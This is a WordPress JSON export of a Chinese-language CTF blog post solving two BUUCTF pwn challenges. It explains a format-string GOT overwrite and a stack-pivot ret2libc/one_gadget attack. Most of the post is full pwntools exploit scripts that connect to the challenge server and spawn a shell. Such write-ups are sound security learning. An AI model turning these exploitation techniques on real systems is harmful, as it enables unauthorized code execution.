{"id":407,"date":"2025-08-09T15:05:38","date_gmt":"2025-08-09T07:05:38","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=407"},"modified":"2025-08-09T15:05:39","modified_gmt":"2025-08-09T07:05:39","slug":"buuctfinndy_echo%e3%80%81actf_2019_babystack","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/08\/09\/buuctfinndy_echo%e3%80%81actf_2019_babystack\/","title":{"rendered":"buuctf:inndy_echo\u3001actf_2019_babystack"},"content":{"rendered":"\n


1\u3001inndy_echo\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

32\u4f4dpartial+NX,\u5c45\u7136\u662f\u4e2a\u5faa\u73af\u7684\u590d\u8bfb\u673a<\/p>\n\n\n\n

\u65e2\u7136\u6709system\u90a3\u5e94\u8be5\u662f\u901a\u8fc7\u6539got\u8868\u6765\u505a<\/p>\n\n\n\n

0x10c\u662f\u6bd4256\u5927\u7684\uff0c\u8003\u8651\u662f\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u504f\u79fb\u662f7\uff0c\u5f53\u7136\u6211\u4eec\u8981\u7528fmtstr_payload\uff08\uff09\u6765\u4fee\u6539\uff0c\u89c1\u8fc7\u51e0\u6b21\u4e86\uff0c\u5c31\u4e0d\u590d\u4e60\u4e86<\/p>\n\n\n\n

\u4fee\u6539printf_got\u4e3asystem\uff0c\u76f4\u63a5\u4e0aexp<\/p>\n\n\n\n

2\u3001inndy_echo\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29568)\nelf=ELF(\".\/echo\")\n\nprintf_got=elf.got['printf']\nsys=elf.sym['system']\npayload=fmtstr_payload(7,{printf_got:sys})\np.sendline(payload)\np.sendline(\"\/bin\/sh\\x00\")\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

3\u3001actf_2019_babystack\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
64\u4f4dpartial+NX\uff0c\u610f\u601d\u5927\u6982\u662f\u4f60\u5199\u7684\u4e1c\u897f\u4fdd\u5b58\u5728\u4e86\u4e00\u4e2a\u5730\u5740<\/p>\n\n\n\n
\u5982\u679c\u6211\u4eec\u76f4\u63a5\u53bb\u6cc4\u9732libc\u8fd9\u9053\u9898\u662f\u884c\u4e0d\u901a\u7684\uff0c\u5f97\u8003\u8651\u6808\u8fc1\u79fb<\/p>\n\n\n\n
\u6211\u4eec\u8f93\u51650xe0\u7684\u6570\u636e\u4ee5\u540e\uff0c\u4f1a\u8986\u76d6ebp\u548c\u8fd4\u56de\u5730\u5740\uff0c\u63a5\u7740\u7a0b\u5e8f\u4f1a\u6253\u5370\u6808\u5730\u5740<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7ec6\u770b\u4ee3\u7801\u5176\u5b9e\u6709\u4e24\u6b21\u8f93\u5165<\/p>\n\n\n\n
\u7b2c\u4e00\u6b21\u6211\u4eec\u5c31\u8f930xe0\u5c31\u884c\uff0c\u9020\u6210\u6ea2\u51fa\uff0c\u8986\u76d6ebp\u548c\u8fd4\u56de\u5730\u5740<\/p>\n\n\n\n
\u7b2c\u4e8c\u4e2a\u8f93\u5165\uff0c\u6211\u4eec\u6cc4\u9732libc,\u7136\u540e\u540e\u9762\u8bd5\u8bd5ret2libc<\/p>\n\n\n\n
\u81ea\u5df1\u5199\u5f97\u4e00\u5768\uff0c\u8fd8\u662f\u53bb\u5b66\u4e86\u4e00\u4e0b\u522b\u4eba\u5199\u7684<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",28340)\nelf=ELF(\".\/ACTF_2019_babystack\")\n\nputs_got=elf.got['puts']\nputs_plt=elf.plt['puts']\nmain=0x4008F6\nrdi=0x400ad3\np.recvuntil('>')\np.sendline(str(0xe0))\np.recvuntil('Your message will be saved at ')\ns=int(p.recvuntil('\\n',drop=True),16)\n\nleave=0x400A18\npayload = b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)\npayload += b'a'*(0xd0-len(payload))+p64(s)+p64(leave)\np.recvline()\np.recvuntil('>')\np.send(payload)\np.recvuntil('Byebye~\\n')\nputs = u64(p.recvuntil('\\n',drop = True).ljust(8,b'\\x00'))\nprint(hex(puts))\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u53bb\u641c\u4e00\u4e0b\u770b\u662f\u4e0d\u662f\u6cc4\u9732\u5bf9\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
2.27\u76f4\u63a5\u7528buuctf\u63d0\u4f9b\u7684\u7b97\u4e86<\/p>\n\n\n\n
4\u3001cat flag<\/h2>\n\n\n\n
ret2libc\u8d85\u65f6\u6253\u4e0d\u901a\u597d\u50cf<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",28340)\nelf=ELF(\".\/ACTF_2019_babystack\")\n\nputs_got=elf.got['puts']\nputs_plt=elf.plt['puts']\nmain=0x4008F6\nrdi=0x400ad3\np.recvuntil('>')\np.sendline(str(0xe0))\np.recvuntil('Your message will be saved at ')\ns=int(p.recvuntil('\\n',drop=True),16)\n\nleave=0x400A18\npayload = b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)\npayload += b'a'*(0xd0-len(payload))+p64(s)+p64(leave)\np.recvline()\np.recvuntil('>')\np.send(payload)\np.recvuntil('Byebye~\\n')\nputs = u64(p.recvuntil('\\n',drop = True).ljust(8,b'\\x00'))\n\nlibc=ELF(\".\/libc-2.27.so\")\nbase=puts-libc.sym['puts']\nsys=base+libc.sym['system']\nbinsh=base+next(libc.search(b\"\/bin\/sh\"))\nret=0x400709\n\np.recvuntil('>')\np.sendline(str(0xe0))\np.recvuntil('Your message will be saved at ')\ns2=int(p.recvuntil('\\n',drop=True),16)\n\npayload=b'a'*8+p64(rdi)+p64(binsh)+p64(sys)\npayload+=b'a'*(0xd0-len(payload))+p64(s2)+p64(leave)\n\np.recvline()\np.recvuntil('>')\np.send(payload)\np.interactive()<\/code><\/pre>\n\n\n\n

\u7528one_gadget\u8bd5\u8bd5<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",28340)\nelf=ELF(\".\/ACTF_2019_babystack\")\n\nputs_got=elf.got['puts']\nputs_plt=elf.plt['puts']\nmain=0x4008F6\nrdi=0x400ad3\np.recvuntil('>')\np.sendline(str(0xe0))\np.recvuntil('Your message will be saved at ')\ns=int(p.recvuntil('\\n',drop=True),16)\n\nleave=0x400A18\npayload = b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)\npayload += b'a'*(0xd0-len(payload))+p64(s)+p64(leave)\np.recvline()\np.recvuntil('>')\np.send(payload)\np.recvuntil('Byebye~\\n')\nputs = u64(p.recvuntil('\\n',drop = True).ljust(8,b'\\x00'))\n\nlibc=ELF(\".\/libc-2.27.so\")\nbase=puts-libc.sym['puts']\none_gadget=0x4f2c5+base\n\np.recvuntil('>')\np.sendline(str(0xe0))\np.recvuntil('Your message will be saved at ')\ns2=int(p.recvuntil('\\n',drop=True),16)\n\npayload=b'a'*8+p64(one_gadget)\npayload+=b'a'*(0xd0-len(payload))+p64(s2)+p64(leave)\n\np.recvline()\np.recvuntil('>')\np.send(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u547c~\u53c8\u662f\u534a\u5929……<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001inndy_echo\u5206\u6790 32\u4f4dpartial+NX,\u5c45\u7136\u662f\u4e2a\u5faa\u73af\u7684\u590d\u8bfb\u673a \u65e2\u7136\u6709system\u90a3\u5e94\u8be5\u662f\u901a\u8fc7 […]<\/p>\n","protected":false},"author":1,"featured_media":420,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-407","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/407","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=407"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/407\/revisions"}],"predecessor-version":[{"id":421,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/407\/revisions\/421"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/420"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=407"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=407"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=407"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}